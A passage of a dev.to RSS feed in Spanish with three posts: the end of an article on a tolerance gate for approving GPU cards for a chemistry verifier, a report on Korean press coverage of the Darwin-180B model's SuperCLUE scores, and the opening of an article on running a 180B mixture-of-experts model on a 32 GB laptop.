&lt;li&gt;Guarda la tabla completa (tarjeta, caso, valor registrado, valor medido, diferencia). Escribir solo "pasó" no sirve a quien revise después.&lt;/li&gt;
&lt;li&gt;Aprueba la tarjeta solo si todos los casos coinciden, y que el lanzador rechace cualquier tarjeta que no esté en la lista aprobada antes de arrancar el trabajo.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Esta es la compuerta con nuestros valores reales:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Compuerta: una tarjeta entra en la lista aprobada solo si re-puntúa casos
# ya puntuados y reproduce el valor registrado hasta el tercer decimal.
&lt;/span&gt;&lt;span class="n"&gt;TOLERANCIA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.0005&lt;/span&gt;  &lt;span class="c1"&gt;# medio milésimo: igualdad al tercer decimal
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compuerta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tarjeta&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pares&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;registrado&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;medido&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pares&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;dif&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;abs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;registrado&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;medido&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;pasa&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dif&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;TOLERANCIA&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;tarjeta&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; registrado=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;registrado&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;7.3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; medido=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;medido&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;7.3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; dif=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;dif&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;6.3&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PASA&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pasa&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FALLA&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;=&lt;/span&gt; &lt;span class="n"&gt;pasa&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;

&lt;span class="n"&gt;mediciones&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;l4x1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;       &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;87.329&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;80.504&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;l40sx1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;     &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;a100-large&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;88.106&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;81.427&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;aprobadas&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;mediciones&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;compuerta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Tarjetas aprobadas:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aprobadas&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;l4x1        registrado= 88.106 medido= 87.329 dif= 0.777 FALLA
l4x1        registrado= 81.427 medido= 80.504 dif= 0.923 FALLA
l40sx1      registrado= 88.106 medido= 88.106 dif= 0.000 PASA
l40sx1      registrado= 81.427 medido= 81.427 dif= 0.000 PASA
a100-large  registrado= 88.106 medido= 88.106 dif= 0.000 PASA
a100-large  registrado= 81.427 medido= 81.427 dif= 0.000 PASA
Tarjetas aprobadas: ['a100-large', 'l40sx1']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En producción esta lista no se edita a mano: una tarjeta nueva entra solo con un cambio que enlaza la tabla de reproducción que la respalda. Cuesta unas decenas de centavos por tarjeta, mucho menos que descubrir semanas después que parte del ranking se calculó con otra vara.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Qué no demuestra este experimento?
&lt;/h2&gt;

&lt;p&gt;Conviene ser exactos con los límites:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Son pocos casos.&lt;/strong&gt; Dos moléculas (una por temporada) y tres tarjetas. Es suficiente para vetar la L4, no para afirmar que L40S y A100 son idénticas en todo el espacio de moléculas.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El tope oculta dispersión.&lt;/strong&gt; En esos dos casos la unión y la selectividad estaban en su valor máximo con L40S y A100. Cuando un eje llega al tope, dos tarjetas pueden dar el mismo número aunque su ruido interno sea distinto. La L4 se delató justo porque no alcanzaba el tope. Un chequeo más fuerte necesita también casos que queden por debajo del tope; es trabajo pendiente nuestro.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No conocemos la causa.&lt;/strong&gt; Sabemos qué ejes se movieron, no qué operación lo provoca.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Es un resultado de este verificador.&lt;/strong&gt; No afirmamos nada sobre la L4 en otras cargas de trabajo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;El cambio de puesto es hipotético&lt;/strong&gt;, como explicamos arriba.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Es la L4 una mala tarjeta?&lt;/strong&gt; No. Es una tarjeta correcta para muchas cargas. Lo que medimos es que, para este verificador y con esta configuración, no reproduce los valores ya registrados. La conclusión vale para esta combinación, no para la tarjeta en general.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Por qué no dio un error de memoria?&lt;/strong&gt; No lo sabemos con certeza. Lo observable es que el trabajo terminó con un puntaje de formato válido y el eje de actividad idéntico, mientras los ejes estructurales bajaron. Por eso la única defensa fiable es comparar números con un registro previo.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cuántos decimales hay que exigir?&lt;/strong&gt; Los que necesite tu decisión. Aquí exigimos el tercero porque los rankings se separan por décimas, y L40S y A100 lo cumplieron. Si tu métrica tiene ruido legítimo (muestreo aleatorio, por ejemplo), fija primero la semilla o mide el ruido propio y exige una banda en lugar de igualdad.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Esto afecta a los envíos ya puntuados?&lt;/strong&gt; No. La prueba se hizo con la escritura bloqueada, así que ninguna medición de la L4 llegó al ranking y los valores registrados no cambiaron. Lo que evitamos fue empezar a puntuar envíos nuevos en la L4, que habría mezclado dos varas en el mismo ranking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Sirve para otros evaluadores, como los de benchmarks de LLM?&lt;/strong&gt; El principio sí: cambia el hardware o la versión de una librería numérica, vuelve a evaluar casos antiguos y compara con el registro antes de aprobar el cambio. Los detalles dependen de cada evaluador.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Dónde puedo ver los límites y pesos del reto?&lt;/strong&gt; En el endpoint público &lt;code&gt;/api/seasons&lt;/code&gt; del Space del ODC. Los leí en vivo para este artículo.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/antes-de-enviar-una-molecula-como-comprobar-los-limites-del-open-discovery-challenge-con-rdkit-2707"&gt;Antes de enviar una molécula: cómo comprobar los límites del Open Discovery Challenge con RDKit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92/truncado-silencioso-cuando-un-verificador-de-llm-da-el-mismo-puntaje-a-una-respuesta-correcta-y-a-3nc6"&gt;Truncado silencioso: cuando un verificador de LLM da el mismo puntaje a una respuesta correcta y a una incorrecta&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>mlops</category>
      <category>benchmarks</category>
    </item>
    <item>
      <title>La prensa coreana sobre Darwin en SuperCLUE: segundo en razonamiento matemático y científico, primero entre los modelos de pesos abiertos</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Fri, 06 Nov 2026 07:46:38 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/la-prensa-coreana-sobre-darwin-en-superclue-segundo-en-razonamiento-matematico-y-cientifico-6a5</link>
      <guid>https://dev.to/_0e3192755d4df45b92/la-prensa-coreana-sobre-darwin-en-superclue-segundo-en-razonamiento-matematico-y-cientifico-6a5</guid>
      <description>&lt;h2&gt;
  
  
  Resumen
&lt;/h2&gt;

&lt;p&gt;El 6 de noviembre de 2026, cuatro medios coreanos (Chosun Biz, Economist Korea, Digital Daily y AI Times) informaron que &lt;a href="https://huggingface.co/FINAL-Bench/Darwin-180B-RSI-R3" rel="noopener noreferrer"&gt;Darwin-180B-RSI-R3&lt;/a&gt;, el modelo de razonamiento de pesos abiertos de VIDRAFT, obtuvo 73,68 puntos en razonamiento matemático y científico en la tabla general de SuperCLUE de noviembre de 2026. Es el segundo puesto entre los 19 modelos evaluados, solo por detrás de GPT-6.1-Sol de OpenAI (76,32), y el primero entre los modelos de pesos abiertos. Google Gemini-4-Argon, xAI Grok-4.7, DeepSeek-V4.1-Flash y Qwen3.8-Max quedaron por debajo. Darwin es el único modelo coreano de la tabla.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué es SuperCLUE
&lt;/h2&gt;

&lt;p&gt;SuperCLUE es la continuación para grandes modelos de CLUE, el banco de pruebas de comprensión del chino que comenzó en 2019. Cada mes construye un conjunto de preguntas privado, de modo que un modelo no puede ganar puntos memorizando preguntas publicadas. Puntúa cinco dimensiones: programación con agentes, razonamiento matemático y científico, control de alucinaciones, seguimiento preciso de instrucciones y contexto largo. Los modelos no chinos aparecen como referencia sin un puesto oficial.&lt;/p&gt;

&lt;h2&gt;
  
  
  Las cifras
&lt;/h2&gt;

&lt;p&gt;Razonamiento matemático y científico, noviembre de 2026:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Modelo&lt;/th&gt;
&lt;th&gt;Desarrollador&lt;/th&gt;
&lt;th&gt;Pesos abiertos&lt;/th&gt;
&lt;th&gt;Puntuación&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GPT-6.1-Sol&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;76,32&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Darwin-180B-RSI-R3&lt;/td&gt;
&lt;td&gt;VIDRAFT&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;73,68&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini-4-Argon&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek-V4.1-Flash&lt;/td&gt;
&lt;td&gt;DeepSeek&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;71,05&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grok-4.7&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Max-0902&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;68,42&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GLM-5.3&lt;/td&gt;
&lt;td&gt;Zhipu AI&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;65,79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kimi-K3.1-Pro&lt;/td&gt;
&lt;td&gt;Moonshot&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;63,16&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qwen3.8-Flash&lt;/td&gt;
&lt;td&gt;Alibaba&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2Fdatasets%2FVIDraft%2Fpress-assets%2Fresolve%2Fmain%2Fpress%2Fsuperclue_math_science_2026-11.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2Fdatasets%2FVIDraft%2Fpress-assets%2Fresolve%2Fmain%2Fpress%2Fsuperclue_math_science_2026-11.png" alt="Puntuaciones de razonamiento matemático y científico, SuperCLUE noviembre 2026" width="800" height="481"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En el índice general de cinco dimensiones, Darwin obtuvo 43,08: noveno de 19 y quinto entre los modelos de pesos abiertos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué destacó cada medio
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Medio&lt;/th&gt;
&lt;th&gt;Titular (traducido)&lt;/th&gt;
&lt;th&gt;Enfoque&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://biz.chosun.com/industry/business_info/2026/11/06/3R76ZCK4ENBUPKSLJCDYKYTLHE/" rel="noopener noreferrer"&gt;Chosun Biz&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Darwin de VIDRAFT supera a Google, Grok y DeepSeek en razonamiento matemático y científico en SuperCLUE&lt;/td&gt;
&lt;td&gt;A quién superó&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://economist.co.kr/article/view/ecn202611060013" rel="noopener noreferrer"&gt;Economist Korea&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Darwin de VIDRAFT, segundo global en razonamiento matemático y científico de SuperCLUE&lt;/td&gt;
&lt;td&gt;Puesto global y mejora sobre el modelo base&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.ddaily.co.kr/page/view/2026110611525431091" rel="noopener noreferrer"&gt;Digital Daily&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Darwin de VIDRAFT, segundo en un banco de pruebas global, especializado en razonamiento complejo&lt;/td&gt;
&lt;td&gt;El método de automejora&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.aitimes.com/news/articleView.html?idxno=217089" rel="noopener noreferrer"&gt;AI Times&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Darwin de VIDRAFT, nivel mundial número dos en razonamiento matemático y científico, por delante de Google y DeepSeek&lt;/td&gt;
&lt;td&gt;Método, modelo base y puesto general&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Por qué importa la comparación con el modelo base
&lt;/h2&gt;

&lt;p&gt;Darwin-180B-RSI heredó sus capas de expertos (512 expertos por capa, las redes que guardan la mayor parte del conocimiento) de Qwen3.8-Flash-Next de Alibaba y las mantuvo sin cambios. VIDRAFT reentrenó solo las capas de atención, la atención lineal y los expertos compartidos mediante automejora recursiva (RSI): el modelo escribe problemas, los resuelve, verifica las respuestas y se actualiza con las trazas verificadas.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Qwen3.8-Flash (modelo base)&lt;/th&gt;
&lt;th&gt;Darwin-180B-RSI-R3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Razonamiento matemático y científico&lt;/td&gt;
&lt;td&gt;57,89&lt;/td&gt;
&lt;td&gt;73,68&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Índice general&lt;/td&gt;
&lt;td&gt;39,81 (15.º)&lt;/td&gt;
&lt;td&gt;43,08 (9.º)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Mismos expertos, mismo conocimiento, distintas capas de razonamiento: 15,8 puntos más en la dimensión más difícil y seis puestos en el índice general. Dos días antes, el 3 de noviembre, el mismo modelo ocupó el primer puesto general en la tabla GPQA Diamond de Hugging Face con 94,44, una prueba de ciencia en inglés de nivel de doctorado.&lt;/p&gt;

&lt;h2&gt;
  
  
  Para quien quiera usarlo
&lt;/h2&gt;

&lt;p&gt;Darwin-180B-RSI-R3 es un modelo de mezcla de expertos de 180 mil millones de parámetros con unos 3 mil millones activos por token. Se publica con pesos abiertos bajo la licencia comunitaria de Qwen, que permite el uso comercial. Hay una versión de 4 bits para equipos personales, &lt;a href="https://huggingface.co/FINAL-Bench/POCKET-Darwin-180B-GGUF" rel="noopener noreferrer"&gt;POCKET-Darwin-180B-GGUF&lt;/a&gt;, que funciona desde SSD en un portátil con 32 GB de RAM sin GPU de centro de datos.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;¿Darwin quedó primero en general?&lt;/strong&gt;&lt;br&gt;
No. Quedó primero entre los modelos de pesos abiertos y segundo en general en razonamiento matemático y científico. En el índice general de cinco dimensiones quedó noveno de 19.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Quién produjo las puntuaciones?&lt;/strong&gt;&lt;br&gt;
SuperCLUE, con su conjunto privado de noviembre. VIDRAFT no las midió.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Dónde está la fuente primaria?&lt;/strong&gt;&lt;br&gt;
La tabla en &lt;a href="https://www.superclueai.com/homepage" rel="noopener noreferrer"&gt;superclueai.com/homepage&lt;/a&gt;. El gráfico es una captura de esa página del 5 de noviembre de 2026.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;¿Cuál es la licencia?&lt;/strong&gt;&lt;br&gt;
Licencia comunitaria de Qwen 1.0, heredada del modelo base. Se permite el uso comercial.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lectura adicional
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92"&gt;Un MoE de 180B en un portátil de 32 GB&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/_0e3192755d4df45b92"&gt;Notas de ingeniería VIDRAFT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>llm</category>
      <category>benchmark</category>
    </item>
    <item>
      <title>Un MoE de 180B en un portátil de 32 GB: el cuello de botella es el SSD, no la CPU ni la GPU</title>
      <dc:creator>김민식/학생</dc:creator>
      <pubDate>Thu, 05 Nov 2026 14:46:48 +0000</pubDate>
      <link>https://dev.to/_0e3192755d4df45b92/un-moe-de-180b-en-un-portatil-de-32-gb-el-cuello-de-botella-es-el-ssd-no-la-cpu-ni-la-gpu-a9</link>
      <guid>https://dev.to/_0e3192755d4df45b92/un-moe-de-180b-en-un-portatil-de-32-gb-el-cuello-de-botella-es-el-ssd-no-la-cpu-ni-la-gpu-a9</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-4d577bad-78ce-49ae-8607-cf1cbdc7f1b3" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-4d577bad-78ce-49ae-8607-cf1cbdc7f1b3" alt="Velocidad de generación en un portátil de 32 GB: 26B y 35B caben en memoria, 180B no" width="2000" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Instalamos &lt;strong&gt;Darwin-180B-RSI en Q4&lt;/strong&gt; (111,3 GB en GGUF) en un portátil ARM con &lt;strong&gt;32 GB de memoria unificada&lt;/strong&gt; y lo medimos con &lt;code&gt;llama.cpp&lt;/code&gt;. El mejor resultado sin tocar la calidad del modelo fue &lt;strong&gt;unos 3 tokens por segundo&lt;/strong&gt;, solo con CPU y 10 hilos (mediana 3,13 en tres corridas).&lt;/li&gt;
&lt;li&gt;Los dos modelos más pequeños, &lt;strong&gt;POCKET-26B y POCKET-35B&lt;/strong&gt;, caben enteros en memoria y generan &lt;strong&gt;11,79 y 13,15 tok/s&lt;/strong&gt; en la misma máquina. La diferencia de cuatro veces coincide con que esos dos modelos caben enteros en RAM y el de 180B no.&lt;/li&gt;
&lt;li&gt;Al medir el disco, cada solicitud de unos 95 tokens &lt;strong&gt;vuelve a leer entre 16 y 29 GB del SSD&lt;/strong&gt;. Subir el tope de memoria de 20 a 23 GB bajó esa lectura de 29,0 a 22,3 GB. El cuello de botella es la &lt;strong&gt;residencia en la caché de páginas&lt;/strong&gt;, no el cálculo.&lt;/li&gt;
&lt;li&gt;Lo que no funcionó, con números: poner la GPU a trabajar fue &lt;strong&gt;más lento&lt;/strong&gt; (1,60 tok/s) porque la memoria es compartida; un modelo borrador especulativo dio 1,14 tok/s; la lectura anticipada (&lt;code&gt;madvise&lt;/code&gt;) no mejoró nada.&lt;/li&gt;
&lt;li&gt;Todas las cifras son &lt;strong&gt;mediciones propias de una sola máquina&lt;/strong&gt;, con una variación de corrida a corrida cercana a ±10%. Al final hay un script de 20 líneas para medir lo mismo en tu equipo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  ¿Por qué un MoE enorme corre en un portátil?
&lt;/h2&gt;

&lt;p&gt;Un modelo de mezcla de expertos (MoE) tiene muchos parámetros en total, pero en cada token solo se activa una fracción pequeña. En Darwin-180B hay 48 capas con 512 expertos por capa (24.576 expertos en total) y se consultan 10 por capa en cada token. Eso significa que, por token, solo se tocan unos &lt;strong&gt;480 expertos&lt;/strong&gt;, de unos 3 MiB cada uno en Q4. Un cálculo rápido:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
